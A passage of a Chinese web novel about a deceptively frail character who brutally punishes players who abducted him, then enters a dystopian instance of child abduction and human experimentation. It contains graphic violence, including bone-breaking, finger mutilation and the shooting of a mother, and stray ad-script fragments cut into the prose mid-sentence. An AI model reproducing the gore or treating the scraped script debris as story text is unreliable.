这行弹幕之下有玩家回复:【回楼上,这几个大佬做了个特殊任务,不过途中看上人家副本的小羊羔——就那个非常非常可爱纯洁的npc,然后就对他动手了,还是团体作案,听他们谈话似乎更是早有预谋。 人到手后用了个天然无伤害的禁锢类道具,那个道具的控制时间是因人而异,一般玩家被控个三四个小时是没问题的,只不过这几个大佬大概也没想到人家npc根本不是柔柔弱弱小可怜……喏,现在还不到四十分钟,npc生龙活虎了,他们却在争论npc所有权的时候被控了。】 弹幕听取‘哇’声一片。 有刚进直播间的玩家看着虚拟屏幕里那张旖丽却病弱的脸,将信将疑,【你们该不会搞错了吧?这个npc明明看起来下一秒就会自己碎掉,跑一跑说不定都能骨折,简直就是那种需要好好摆在垫了十几层的摊子上小心呵护的美丽昂贵却易碎的花瓶……怎么可能是他动的手呢?】 【前面的,一看就不是从头开始看这个副本的吧?就在昨天,你口中柔弱脆弱的小可怜,能一脚踹飞T7列玩家,并且在人海战术中丝毫不落下风,拳打脚踢一众玩家npc后潇洒离开。看着吧,待会咱们的小npc怎么收拾心怀不轨的可恶玩家!】 【心怀不轨的可恶玩家!】 【心怀不轨的可恶玩家!】 【心怀不轨的可恶玩家!】 …… 【楼上几个好生眼熟,我记得你们好像都是乔哥那几个很活跃的崇拜者来着???】 【哈哈哈哈哈看样子像是脱粉回踩了】 【没人好奇那个可以带走npc的道具吗?我连听都没听过他们竟然人手一个啊可恶!】 【他皮肤好白,眼尾也是粉粉的,好可爱好可爱prprpr】 【?楼上乱入】 【nonono,这才是众望所归!】 …… 【只有我觉得这个npc好恐怖吗……刚刚通过直播跟他对视的瞬间我寒毛乍起了已经,现在觉得周围冷飕飕的……】 【本兽刚刚全身的毛毛都炸起来了,谁说不是呢\哭哭脸】 ………… 少年黑漆漆的瞳孔对准艾伦,在三名只剩个眼珠子能转的玩家注视下,一脚将黑皮男人踹倒在地。 见对方毫无反抗能力的倒地,他似笑非笑的抬脚搭在男人胸膛,然后嘴角扬起,向下一用力—— 咔嚓。 骨头断裂声和男人凹陷进去的胸口证实这一脚并不柔软。 “知道我为什么最先踹你吗?” 纯黑锃亮的靴子被它的主人移开,少年没有立刻进行答疑解惑,而是完全无视黑皮男人如恶狼般紧盯的视线,漫不经心的打量着眼前人。 他目光下移,当看到对方嘴里汩汩流出血时,那双深不见底的漆黑眼眸才缓缓眨了眨,而后惚地伸出苍白可见血管的左手,以常人难以捕捉的速度猛地拽起男人微微留长的碎发,提着对方头颅连带着男人的身体一同向一旁的墙体砸去! 等少年松手后,墙面已经出现坑洼。 而肇事者漫不经心拍了拍手上的灰,眉眼弯弯:“因为你真的恶心到我了。” 黑皮玩家艾伦躺在地上,从头上淌下的血流入眼睛,血丝爬满眼白,却仍固执的不肯闭眼,双眼血红的盯着从桌上拿起一把刀的少年。 与长相的脆弱不同,少年动作干脆利落地切下艾伦的食指和中指,掐着因为痛觉而面容扭曲的男人的腮,边把便将刚切下的两根指头怼进男人嘴里,边慢条斯理道:“你是觉得将手指塞入别人嘴里很好玩么?” “那自己享受吧,没教养的东西。” 说完话,少年没再看他一眼,擦完手的湿巾随意丢在艾伦脸上,正好遮住那道让常人发冷打怵的眼神。 他转过身,居高临下的俯视另外两人,那两人也一眨不眨地盯着他看。 思考一瞬,他上前一人给了一脚。 随着咔嚓声响起,又是几根断掉的肋骨。 文森特被踹后之似乎倍受打击,精神萎靡,但乔就不一样了,男人银灰色的眼睛朝着少年一眨一眨,显得格外激动。 如果不是药剂时效未到,真叫人怀疑这人怕不是会像条看肉骨头的饿狗般扑上去。 不过不约而同的是,同伴的惨样影响不到这两位玩家一点。 少年在触及对视时乔蓦地亮起的银灰色瞳孔时一愣,他神色古怪,像是想起了什么,脚步迅速的离开了房间,不一会就拿着三件衣服回来。 ——是三件……女士裙装。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 文森特回神了,乔的眼睛也不眨了,艾伦……失去视觉的艾伦目前还不知道,但这并不妨碍其他两位汗毛乍起,直冒冷汗。 十几分钟后。 少年看着自己的‘手工作品’,满意的点头。 而他的旁边,是衣衫不整、身着女装,无论在游戏中还是主城内永远光鲜亮丽、受人仰慕的……那三位大佬玩家。 显然,这是一位拥有美好品德——有仇必报且动手能力极强——的npc。 乔是蓬蓬裙,文森特是旗袍,艾伦的是女仆装。 “恭喜你们,穿上了自己最心爱的小裙子!” 全身上下缺少血色的少年完全忽视落在身上的幽怨视线,笑嘻嘻道。 他经历了目睹前两者的视线的全部变化:从不忍直视到莫名脸红再到生无可恋,以及误瞟到同伴时眼睛快瞎了的神情,最终进化为艾伦版阴森森的视线,现在已经能够完全免疫这些视线啦,可喜可贺! 玩完换装小游戏,少年拍拍屁股打算走人,突然想起什么,扬起嘴角:“那些眼睛,你们应该见过吧?麻醉的时间是半个小时,而等到半个小时后你们浑身上下都会爬满眼珠子,而它们受我控制。” “所以最好别让我再看见你们。否则——” 密闭空间内惚地腾起阴冷的风拂过似墨的发梢,少年仍然在笑,漂亮的黑瞳却空洞诡谲如古井,像是摆在橱窗上的贵重人偶,气质散漫阴冷:“会死哦。” 说罢便离开了房间,留给三名大佬玩家一个背影。 三名只能做到睁眼的玩家:“……” 乔黑屏的直播间里此时飘过一个格外伤心的弹幕——【乔哥怎么后面直接把直播间屏蔽了……算了这不是重点。这,这位就是你们口中纯洁,脆弱,一碰就碎的羔羊npc?他都能一脚将高玩那种变态的身体素质踩出内伤了,你们说他柔弱到不能自理???那我是什么?瓦达西……难道是残疾废物吗………】 * 【麻醉控制不了他们半个小时。】 【那几个玩家的身体素质早就不在人类的范围内了。不过二十分钟倒是绰绰有余。怎么样,系统出品必为精品吧?】 【不过您……还真是人不可貌相,之前倒是我判断失误,真是抱歉。】 虽然说着道歉的话,但新系统语调却没有丝毫抱歉的意味,而是充满兴味。 时无序不搭理他。 新系统想了想,终究还是好奇,他道:【我可以告诉您除了这个副本任务之外的信息,您不放心的话可以走系统流程作为保障。作为交换,您得告诉我您是怎么操控那些眼珠子的,我记得您的‘吞噬’天赋并不能做到这个。】 【……】 新系统:【不满意吗?那加上那三名玩家登入系统的部分个人信息呢?不过这个违反系统守则,不能走正规流程。】 【……】 新系统:【我还可以——】 啪嗒。 少年昏倒在地。 空荡荡的走廊里除了倒地的少年空无一人。 新系统:【……】 过了一会,少年被一个身影修长,面容却模糊不清的人抱了起来。如果有人正在看监控,就会发现此时本该出现在监控中的两个身影处竟一片空荡,恍若没人来过一般。 捡起掉落玩家,自称一号的新系统深藏一身功与名。 他低头看向怀着玩家惨白到失去血色的脸,良久,一根模糊修长的手指轻轻戳了一下少年的脸。 ……和想象中的一样软。 一号给怀中的少年换了一个更舒适的姿势,正思索把少年放在哪里更安全时,怀中却突然一轻——少年消失不见了! 一号:?! 我那么大一个玩家呢?怎么突然消失不见了?? 空荡荡的过道内只剩下一号和他空白一片的大脑。 他怔愣了片刻,但不一会,新系统一号的身影也在原地消失。 走廊过道依旧空荡。 42.基因实验(1) 失乐园内某处。 黑暗中只有烛火微明,房间正中悬空的长方大白桌的一角趴着一个戴着黑色兜帽的人,而她身边是数个影影绰绰的身形。 钟摆摇摇晃晃,敲响了黑夜里的第一声。 除了那个头戴黑色连帽的女子外,其余几个身形摇晃着‘醒’了过来。 围绕在方桌旁共有12王座。 雕刻六芒星的首位空无一人,除此之外还有4人空座。 悬空王座左手边第一道阴影率先打破宁静。 那人直视对面疑似佩戴哭笑面具的阴影,左手在桌面上叩击几下,似笑非笑道:“听说,我们老三被个小新人摆了一道,打破了百分百的成功率不说,现在还闹得人尽皆知?” “就算是分身也不至于不是么?还是说……你现在已经不具备坐在这里的能力了?” 哭笑面抱臂嗤笑一声,对这明显的针对不置可否。 左一却没打算就此收手,他猛地向前俯身,如同一条匍匐蜿蜒的毒蛇,毫不避讳的展露自己的獠牙,“哎,你说,需不需要我尽同事之谊,替你做掉她?” “……” 右一位上,原本一直吝啬于给个眼神的哭笑面闻言却微微抬头。 与此同时,一张无法用眼捕捉的阴影直奔左一面门! 左一也非同常人,眼见锋利的纸牌刃逼向自己却丝毫不动,他直起身体坐在悬空高位,任凭纸牌穿过将代表自己头颅的阴影,而后深深插入背后的墙体。 末了还欠欠加了句:“不错的力度,比上次快了整整0.1秒。” “……” 嗖! 哭笑面抬手召回纸牌的动作再次将左一头部的阴影打散。 “真稀奇,比往常寡言,出手却更狠戾。莫非……”阴影脑袋正重新聚拢的左一拖着长调,瞳孔蓦地竖起,“你和那位小新人之间,还有什么我们不知道的事?” “对啊,这到底是怎么回事呢?你告诉她了什么呢?……是你那跌宕起伏的生平,和略显无趣的理想抱负?还是你马戏团小丑般令人生厌的杂技表演?亦或是……关于‘我们’的事?” 左一尾句刚落,数道纤细轻柔,却也阴冷潮湿的女声从左二阴影身上一并传开,如怨如慕,如泣如诉,飘渺如同每一口水井下粘腻的不见天日的阴湿女鬼般哀怨婉转,不绝如缕。 隐藏在一声声好奇语气之下的却是满腔的恶意。 从开始就事不关己、百无聊赖的在位阴影此时也齐齐看了过去,无数极具压迫感的视线同时落在哭笑面的身上。 白桌前、众人间,一时间剑拔弩张。 气氛逐渐焦灼,直到哭笑面终于开了他那尊口,且张口就是王炸:“二狗,阴湿女,去精神科挂个号吧。爱胡思乱想也是精神分裂症的临床表现之一。” 咔嚓。 万年老二左一手下的白理石扶手瞬间碎成了细渣,身旁代表左二的阴影散发的阴气也更加寒冷潮湿。 ……果然很贴切。 在场各位审判者不约而同的想。 哭笑面将两人的直观表现尽收眼底。 他动作优雅的喝了口凭空出现的茶水,抬手捏住左二随手扔来的怨灵,道:“作为同事兼半吊子心理医生,我是真心实意的在为你们的精神状态着想,并且不介意多两位身份尊贵、出手阔绰的病人。” “但如果把我专门叫过来,就是问这种浪费时间、毫无意义的愚蠢问题,恕我告辞。” 男人声音低沉且富有磁性,如同午夜里的醇厚琴声,可惜在场无一人在意。 “……” 左一周身寒意愈来愈重,直到即将突破某个临界点时,压迫感骤然尽收,仿佛一瞬之前的对峙不曾存在。 男人哂笑,阴影下覆有鳞片的手指轻轻搅着半拢起的头发,竖起的玻璃黑瞳里是性质昂扬的玩味。 他闻出来了。 那个爱以盛大恶作剧为开场白的低趣味审判者,气息中一瞬间的慌乱。 “当然不会。那么接下来有请……【睡仙】小姐,讲讲这次主神召集我们的目的吧。”左一达到目的便不再挑事,他挑眉看向白桌上的唯一实体。 对方衣着黑色卫衣,连帽始终扣在那颗枕在桌面的头颅上。 方才的吵闹、争执,以及时不时的威压丝毫没能影响到她的沉睡。 “【睡仙】小姐?” “啧。她那是又睡着了,没个半小时起不来。”一个小巧的阴影无聊的托着腮,轻飘飘道。 “当然如果谁不怕她每天半夜入你梦追杀你,我推荐去找根趁手的棒子往她头上使劲敲一下。然后——” “然后她就会醒?”有不明所以的接过话。 “不。然后她的头就会肿。” “……” 在座各位审判者打了个寒颤:好,好冷的笑话。 小巧阴影下,少女眯起琥珀色的猫眼,慢条斯理的打量着左一。 “听说上个任务你一人歼灭一整个T2列世界?” 男人坦然颔首:“是。有事?” “有事,跟我打一架,不管输赢都替你做一次任务。” 左一微哂,“我可不打小孩。” 少女:“那又如何?你妈没生你那会我就长这样了。” 左一难得梗了一下。 不过很快他像是收到了什么消息,打了个响指,代表自己的阴影随即融化,一个黑白发色混掺,佩戴墨镜的俊美男子取而代之出现在原地。 “主神有令。” 男人衣着卡其色风衣,身材高挑,宽肩窄臀。打了唇钉的薄唇一张一合,玩世不恭的声调时高时低,墨镜下的眼底是不再压制的疯狂:“在场七人,一分钟内以本体莅临,集体围剿出现在100%污染度界面T0Z3-4444的【深渊】分支之一。对面领队可是咱们老熟人哦!” “好久没来一场盛大的优雅演出了。”从阴影裂缝中翩翩踏出的哭笑面若有所思。 “老熟人?灰发还是蓝发那个?……算了,反正都狡猾的像条泥鳅。” “这算加班对吧?会有加班费的吧?是这样的对吧?” “Zzzz……” “老规矩,比谁杀的感染者更多!” 身材娇小的少女破开阴影一跃而出,手里有她两个人高的镰刀被舞地游刃有余,橘红色的发尾在空中划出残影。 “规则类高污染世界,还是小心为上……” “磨磨唧唧,把你也杀掉哦!” “……” * 此时,远在另一个副本的时无序‘唰’地睁开眼睛。 他进入了惩罚副本。 虽然在意料之中,但他还是不爽的轻‘啧’一声。 早知道怎么都得进这惩罚副本,倒不如直接把那三个玩家做掉了。 系统也如小白所说没能跟过来,但同样也没有报副本名称、简介和任务的系统,就好像这里完全不受主系统掌控。 不过好在任务什么的仍然会呈现在玩家面板上。 时无序一目十行读完了大体概要。 这个世界在五十年前历经了一场浩劫,各种极端气候频发,辐射病毒接踵而至,全世界的人类在一次次灾难后剩余不够百分之一。在此期间,存活下来的已经经历过变异的人类为了更好的适应环境,建立了【长生】公司——一个专门研究人类,以贫民窟里的幸存者和外部世界的变异物种为实 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 验材料进行研究的公司,目前已经上市了不少基因改良药剂。 由于当今外界环境极端恶劣,资源紧缺珍贵,穷人与富人在最初签下协议:富人提供科技,资源,枪械类武装设备,以及地上的生存空间,保证穷人基本生存;穷人则需要定期出一个地区三分之一的幼童与三分之一的成年人用于人体研究。两方之间的交接由在各大贫民窟领队的唯一武装组织和富人派出的雇佣兵接手,以确保不必要的麻烦纠纷。这类人属于第三种‘平民’势力,平时依靠富人区张贴的悬赏令与通缉令,以及外出带来的猎物和货物商品向富人区换取住所枪支弹药等资源。 而【长生】公司名下的研究人员属于第四类势力,因其内部自给自足性和重要性而不受任何势力管辖,其中赫赫有名的几位博士更是拥有凌驾于富人甚至贵族之上的权力。 在这个副本中,他的身份是隶属【长生】名下第三实验室的研究员,提出生物基因融合方案博士的助手。 也是本次课题的副操刀手。 以为这就结束了?不,他这个人物角色还有另一层身份——从小被博士从贫民窟里带出来养大的,被博士驯服的高危级别的实验品,一名与毒蛇进行过基因融合并成功的‘温顺’‘人类’。 他是博士手下最听话的猎犬,他将重复将锋利冰冷的手术刀划向人类躯体的动作,一如过去博士对他所做。无数生命在他手下死去,而他最终也死于一场高危实验体的暴乱。 副本任务很简洁,只要按照系统推演出的未来走向,存活到该人物角色的死亡节点即可。 人物剧情活动范围不大,后期更是仅局限在研究室。 但…… 时无序看着自己不知道缩小了多少,苍白到血管都明晰的手,一向散漫的漆黑瞳孔冷淡得可怕。 这个副本不简单。 在他的第一个副本里,普通玩家在规定时间到来前无法使用任何天赋能力是因为他们本身太弱,所以才会被副本抑制束缚,强制遵守这条‘规则’。 那时他能够轻松摆脱副本束缚,毫无顾忌的使用能力,可如今竟也和那些玩家一样被副本全全压制,甚至成了一个连普通人都不如,手无缚鸡之力的孩童,这意味着这个副本本身的能量和人均身体素质远远高于第一个副本! 在这种情况下,所谓的人体实验也只会更加危险。 他还需要作为小白鼠,走一遍基因融合的全部过程。 瘦弱苍白的小男孩叹了口气,短腿短手扑腾几下,拍走身上的泥土。 行吧。 算算时间,距离博士来捡人也不过半个月。 思绪被不远处突如其来的哭叫,辱骂,与枪声打断。 时无序从自己的临时住所——一个隐蔽的狗窝里小心翼翼探出头,从杂草掩映的缝隙中,他看到不远处有两个腰间配备枪支的人类。 他们站在一栋破破烂烂的木头屋子前,只见其中一人招了招手,右手边的男人上去一脚把本就晃荡的木门踹开,不顾女人声嘶力竭的尖叫与捶打,从里面揪出了一个七八岁大的嚎啕大哭的孩子。 似乎是想将孩子抢回去,披头散发衣着麻布的女人从屋里猛地扑了出来,扑向全副武装的强盗。 紧接着枪声响起。 砰! 女人轻飘飘倒地。 那个被抓走绑起来的孩子像是被吓到了,神情呆滞的看着女人的方向,她不再挣扎哭闹,只有眼泪断了线般不断从眼角流下。 开枪的发出不爽的啧啧声,似乎是在心疼那颗用掉的子弹。 孩童像货物一样被提溜着,他们又去了下一家。 依旧是抢孩子。 同样的事情在不同的地方发生。 43.基因实验(2) 一旁拐道处又来了两个男的,他们一人提着两个孩子,黑色的靴子上溅上深色粘稠的红褐色液体。 远处有几个同样配有军械的人类似乎准备朝狗窝这边走来。 时无序想了想,往狗窝深处缩过去。 虽然不知道这些人是不是那个博士手下的人,但无论答案是什么,他都逃不掉这次的抓捕。 一个孩童的身子,和一个对环境完全陌生的芯子,他拿什么当着携带武器的成年男性的面跑? 不如多躲一会是一会。 时无序退着退着,突然感受到后面似乎有个漏风的地方。 时无序:? 好像有路了。 他小心的转身向后摸索。 黑暗中,手指传来针扎般的刺痛。 出血了。 他仔细辨认,与想象中的坚硬冰冷土墙的触感不同。 那是干瘪但粗糙的草杆。 扒开挡在风来方向的干草堆和凝固成块泥土石粒,时无序惊奇的发现在那后面还真有个狗洞。 洞口大小足够他这样一个干瘪小孩通过了。 他将头深入洞口,小心翼翼地察看那边的情况。 是一条狭窄的两面墙壁之间的过道。 目测没人。 时无序顺着洞口爬出去后还不忘用干草遮掩住,随后飞快站起身,顺着小道向尽头跑去。 贫民窟地形复杂,小道九转十八弯,每条岔路口不知道通向哪里。他只能通过声音去判断哪里更安全,除此之外尽量挑一些宽敞点、人为留下痕迹多的过道,以免走进死胡同。 再次躲进垃圾堆里掩埋自己身影的时无序脸色更差了。 原因无他,食物发酵与排泄物混合的味道实在太过恶心。哪怕没有碰到堆叠成山的垃圾,时无序仍然觉得自己快与这种糟糕的味道融为一体了。 同样,那些人也只是隔着十几米距离看上几眼便走了。 他干呕了几下,等人彻底离开视线才慢慢出来,继续向目标快步跑去。 因为这具身体太过孱弱,在竭力奔跑下他的眼前逐渐发黑,喉咙处一股腥甜翻滚上来,一时间头晕眼花,只觉得肺部要像一只不断膨胀的气球般爆炸。脚下更是磨得起了泡,稍微一动就火燎燎的疼。 沙沙作响的白噪音充斥着四面八方,汗水也辣得眼睛发酸发疼。 他被绊倒,他重新爬起来,他的脚步偶尔会慢下来,但很快又大步向前。 大脑里已经没有了任何概念。 没有目标,没有动力,没有情感,他只是机械的拨弄双腿,向前迈着步子。 这没有任何意义。 他忍不住的想。 逃出去也好,逃不出去也罢,反正最后总归要回到博士那里的。 但……管他呢。 反正他不想待在狗窝里一边听着连绵不断哭号声,一边等待头顶那把属于自己的铡刀落下。 他会继续麻木的跑下去。 直到眼前视野逐渐开阔,直到夜晚降临星光闪烁。 回头望去,却是一片原野。 时无序赤裸着脚踩在草地上,一阵风吹来,他躺下,耳边是草哗哗啦的摇晃声。 “……哈。”他露出了进入这个副本的第一个真心实意的笑容。 就连身前传来的狼嚎声也没能打断他的好心情。 这份愉悦来得突然,来得莫名,甚至让他像神经病一样高扯嘴角,在狼群黑夜里绿油油的、虎视眈眈的瞳孔下,放声大笑。 但他享受,享受着此时的惬意和自由。 直到他笑够了,才打量起与他相隔百米的狼群。 头狼高傲的站在狼群前方,它的身型相较于其它狼要更大,更威武。时无序盯它在风中凛凛飘动的白毛看了会,又看向它的眼睛。 像颗蓝色的玻璃球。 剔透,美丽,充满野性。 在他观察白狼的同时,白狼玻璃蓝的眼睛也安静的注视着他。 过了一会,时无序朝头狼招了招手。狼耳朵动了动,冰蓝色的眼睛一动不动盯着他看,然后朝他身边位置走去。 一人一狼坐在草上。 时无序将小手搭在它身上时,它也不呲牙低吼,身后低垂着的尾巴飞快摆了一下。 灰头土脸但难掩精致的男孩在夜空下枕着白狼慢慢睡着,弱小孱弱的身躯随着呼吸一起一伏。 这个季节气温不高,夜晚的风很凉,沉睡的男童不断往热源处靠近,狼也配合着蜷起身体将他圈在暖和柔软长毛中。 其余几匹狼隔了些距离,睡在头狼和那只人类幼崽附近,好似守卫与保护。 黑夜下的静谧没有持续太久。 头狼惚地警惕抬起头,看向一个方向。 那里走来一个白色的修长人影。 人影逐渐走进,是一个身着白大褂,鼻梁高挺,面无表情的男人。那双同白狼无二的玻璃蓝眼眸在星辰微弱光下更显无机质与冰冷,他漠然道:“在外面还没玩够是吗。” 这句话像是让白狼感受到了威胁,以它为中心的圆圈紫光浮动,天空霎时乌云密布,电闪雷鸣,来自自然的危险直指淡然的男人。 白狼冲着他呲牙,身体却一反常态没动,同样也没有发出警告的嘶吼声,反而将怀里的孩童往深处藏了藏。 见白狼一反常态的举动,那人这才堪堪起了兴趣。他无视白狼的警告,不急不徐向前靠近,然后他看见了窝在白狼毛里睡觉的男孩。 “……哪来的?”白大褂颇为意外的顿了下,而后将手伸向男孩。 同一时刻,原本还在虎视眈眈的狼群瞬间暴起,而天空原本还在凝聚的紫雷也朝男人劈去! “哦?真是养不熟的东西。”男人眯起眼睛,眨眼间围攻的数条狼全部倒地,周围的草也被劈地焦黄,而男人纹丝不动站在原地,似乎从未移动——如果忽视他双手中突然多出来的东西。 戴有白手套的左手轻而易举锢住白狼朝他咬来的嘴,另一只手扯着衣服将男孩提溜起来。 睡梦中的孩童稚嫩的脸庞很快因为勒在脖子上的衣领变得充血而通红,布满血痕的纤细双腿在半空中像脱水的鱼般胡乱蹬着,随后渐渐无力垂下。 见状,男人倍感无趣的松开了手。 想象中人体落地的声音没有出现,白大褂稍一偏身,轻松躲过那把刺向他的匕首的同时将袭击者反扣在身下,白色手套下的手腕纤细幼小。 袭击者正是刚刚疑似因窒息而昏死的孩童。 草原上,男孩紊乱的喘气声格外明显。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 男人戴着手套的手将那颗低垂的头颅扬起,首先入目的是一道狠戾潮湿的眼神,如同那条此时狠狠咬住他的胳膊,永不驯服的白狼王一般。他难得仔细打量着这位‘胆大包天’的年幼袭击者,片刻后轻笑:“怪不得,原来你早就醒了。” “要跟我走吗?” 孩童瞟向男人一看就价值不菲的衣袖面料,眼神一闪。 面对品质不错,难得可以入眼的实验体,男人狭长的丹凤眼里耐心稍微多了点,“如你所见,这片被保护下的土地都是我的。我可以不追究你闯进来的责任,不仅如此,还可以给你提供一个良好的成长环境,顶尖的教学资源,锦衣玉食荣华富贵近在咫尺……而你只需要付出一些微不足道的代价——你将成为我的实验体。” “你是贫民窟里出来的,也知道那里的人命廉价,人们连温饱都保证不了不是吗?几个人挤在一间破破烂烂的漏风木屋里,浑身发臭,衣服也破破烂烂,每个人都在浑浑噩噩中白费一生。你难道就不想永远离开那里,拥有一间自己的房间,受人尊敬,不愁吃穿么?何况那里人命尚且不值几个钱,活着都难,又谈何其它?” “现在,你有机会可以用那本就不会属于你的东西,换取平日里做梦都难得的生活。” 他朝男孩伸出手,声音温柔:“和我一起走吧。” 小男孩,也就是时无序,黑白分明的眼睛一眨不眨的盯着男人双眼,好像在判断真假,过了一会才缓缓将手放在上面。在男人宽大手掌的对比下,那只瘦削的孩童手掌格外小巧。 不知何时被踹飞的白狼跑了回来,呲着獠牙挡在男孩前面,在两人间硬生生挤出了个空。 男孩见状将手收了回去,沉默地摸了摸白狼脖子两侧的毛,像是安抚。 “它倒是跟你亲近。”男人道。他不在意的收回手,“算算时间,我的人也该到了。” 天空传来螺旋桨转动发出的巨大声响。 男孩仰头,那里足足有十架直升机。 紧接着,数十人训练有素的顺着绳索跳下,在距男人数百米处精准且整齐的降落。 装备齐全,气势磅礴,蓄势待发。 虽然时无序不了解这个副本里的武器,但也能看得出这些人配备的装备远比之前在贫民窟见到的更加精密,他们的身体素质也更加强悍。 还有—— 男孩皱着眉头,努力踮起脚尖仰头向上看去。 这些人类实在是太高了! 他们此时面朝男人齐刷刷半跪在地,头颅垂在胸前,沉默不语,似乎在等待上位者发号施令。 “去三号实验室。” 有人看向男人身边又脏又惨的孩童,迟疑,谨慎。 “这位是需要我们押送……” 未说尽的话语在抬起的白色手套下熄灭。 男人没有血色的薄唇微张,“他以后是我的助手。” “是。”那人头更低了。 时无序却莫名觉得他在颤抖,在恐惧着……他身边的人。 他下意识看向男人白大褂上别着的镶金边胸牌,在直升飞机的照明下字迹清楚明了,胸牌上面赫然是【林舟行】三个大字。 他竟误打误撞,提前碰上了那位林博士。 很好,流浪生涯提前结束。 44.基因实验(3) 时无序清洗完身体,包扎好伤口,换上了衣柜里纯新的白色童装,然后走出浴室。 这里只有他一个人住。 开着冷气的房间微冷,冷色调的墙壁更是没有一丝人气,他快步走向客厅,打算给自己倒杯热水暖暖身体。 客厅正对通往走廊的大门。 在经过大门时,门外传来规律的叩击声。 咚、咚、咚。 一切过于恰巧,以至于像是有人此时正以一种扭曲的姿态趴在门后,耳朵紧紧贴在门上,直到听见目标的脚步声才堪堪直起腰身,礼貌的敲响房门。 冷风直吹过淋浴后热气腾腾的皮肤,时无序冷不丁起了一身鸡皮疙瘩。 他谨慎的打开智能猫眼屏幕,确认门外是白大褂无误后才打开门。 门口只站着一人,口罩与暗色护目镜将对方的脸挡的严严实实,身形修长高挑,普通的褐色发尾留至耳根,难以分辨性别和年龄。 “博士让您现在过去找他。” 声音呜呜泱泱从口罩下传出,像是含了一大口口水。 白大褂侧身,露不出一点皮肤的左手伸向时无序右侧的楼道,“这边请。” 时无序不紧不慢的跟在白大褂身后,后者也刻意放慢了步伐,以便身后过于年幼的孩童跟上。 右侧楼道尽头的电梯,两侧则布满各种摄像头和激光等设备。 苍白稚嫩的男孩收回了视线。 电梯匀速朝地表上升。 在抵达负十四层时,一个满身是血的白大褂推着放有微弱呻吟‘病患’的担架车走了进来,随着电梯门的关闭,不算非常宽敞的电梯里面血腥味瞬间浓得呛鼻。 同样的护目镜,同样的口罩,同样的身形和身高……甚至是同样的呼吸频率。 如果不注意二者发色与外褂的差异,怕是很难分辨出谁是谁。 新进来的血大褂朝时无序身边的白大褂微微点头示意,视线扫过时无序时微顿,紧接着—— 下一秒,那张溅了血的口罩赫然贴在男孩鼻尖!! “!” 时无序被对方突如其来的不礼貌吓了一跳,并在权衡完双方悬殊实力后果断选择搬救兵。 “唔……我害怕……” 堪堪到白大褂大腿的男孩往后退了几步。他轻轻拽住白大褂的衣角,眼睛睁得大大的,漆黑的瞳仁在刻意下显得水汪汪,还没吹干的头发此时软趴趴的垂在瘦削的双颊两侧。 任谁看了都很难不心生爱怜。 “……” 白大褂仍然沉默。 对方所给出的反应只有向下微低的头颅,除此之外没有其它动作。 【看来不是每个人都吃你那套,时无序。】心魔略带嘲讽的开口。 【嘁。】 明明隔着护目镜,仰着脖子的时无序却能明显感受到白大褂的视线在打量自己:疑惑,探究,好奇……顶着对方视线,时无序只觉得身上的衣服有些肥大,单薄,空调开得有些低,背后冷飕飕的直进凉气。如果他是一只猫科动物,想必现在已经浑身炸毛,弓起身子哈气,并时刻准备逃走。 可是他现在只是个个子没人家胸高的小屁孩。 而看对方的眼神,不像是正常人类打量小孩的眼神,倒像是研究员某天偶然发现一只行为异常的小白鼠时的好奇、兴奋。 不,不对。 想到如今自己身处哪里,时无序睫毛小幅度震颤,鼻尖湿漉漉。 应该去掉‘倒像’。 他现在就是这些人眼中的‘小白鼠’。 好吓人。 时无序想。 这里的人类竟然不把他当人看。 【你是人吗。】 他的心魔微哂。 男孩低下毛茸茸的头,掩住自己向上勾起的嘴角。 ——哦当然,他确实不是人类。不过…… 低着头的男孩脸色苍白,像是被吓到了,猛地一抽搐,稚嫩的手掌高高扬起,最终落在不断贴近放大的人脸上,发出“啪”的清脆声响。 血大褂整张脸被打偏了过去。 空气有一瞬的凝固。 血大褂本人似乎还没反应过来发生了什么,弯腰偏头的姿势凝固在原地,五六秒后才缓缓直起身。 原先阴冷的寒意似乎也被这出乎意料的一巴掌打散了。 时无序早在打完后便红着眼眶朝白大褂身后躲去,此时眼见血大褂居高临下的看过来,他皱着脸,从白大褂身后探出个头,抽噎道:“对不起…我、我不是故意的,只是当时不知道为什么,条件反射就……打了您一巴掌。可能因为您的脸太大,吓到我了呜呜…… 我知道您不是故意长了张大脸吓唬别人的……呀,我是不是说错话了,您为什么要这么看我?对不起对不起,我说的话您千万别往心里去哦,看在我是小孩,而且待会还要见林博士的份上,您也千万别打回来,毕竟您生气是小,我的脸可是宝贵的很呢!” 说到这,时无序脸上不再是虚情假意的泫然欲泣,反倒笑眯眯的勾起嘴角,不知从哪里掏出一面镜子,对着自己精致可爱的小脸蛋照来照去,苍白的脸上不见一点泪痕和害怕的踪迹,全是欠到极致的挑衅。 一套连招下来贱兮兮的。 “可若是因为您,我的完整性被破坏,我在博士心目中的地位被降低,那您最好保证自己刀枪不入,并时时刻刻注意着深夜的床头……” 血大褂:“……” “哈。” 白大褂似乎笑了一声。 血大褂瞥了眼白大褂,像是看到了什么垃圾般嫌弃的快速移开视线。深色的护目镜再次直直对准他眼中小小一只的人类男孩,直到电梯门发出‘叮’的声响,才徐徐移开视线,推着不知何时起已经不再出声的“病患”走出电梯。 时无序记下了对方离开的楼层,负四层。 “他记住你了。” 电梯到了三楼,白大褂突然说。 “最近小心点。他的脾气一直不太好。” 身边小孩似乎没有当回事,道了谢后又问该怎么称呼他。 “……叫我谢医生就好。” 谢医生想了想,又补充道:“你很有趣。希望还能见到活着的你。” 也希望你最后能落在我手里。 谢医生在心里默默补充道。 男孩笑了笑,不置可否:“再见,谢医生。” 幼小的身躯向前走了几步,又想到什么似的,颠颠跑了回来,站在还在电梯中直直面向他的谢医生面前。 谢医生:? 男孩的小手在同款白小褂的衣兜里掏呀掏。 一朵黄白色野花在小孩的手心绽放。 他招手,示意谢医生弯下腰。 不明就里的谢医生听话照做,他低头,看着毛茸茸的黑发在他胸前晃悠,然后…… 那朵不知道从哪里摘得,半蔫还带了点泥土的野花,被放在了他一天一洗换的白大褂上衣兜里。 “谢谢医生的提醒,我记住啦。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “我叫时无序,也希望谢医生能记住我哦!” 小孩挥挥藕节似的胳膊,颠颠的走了。 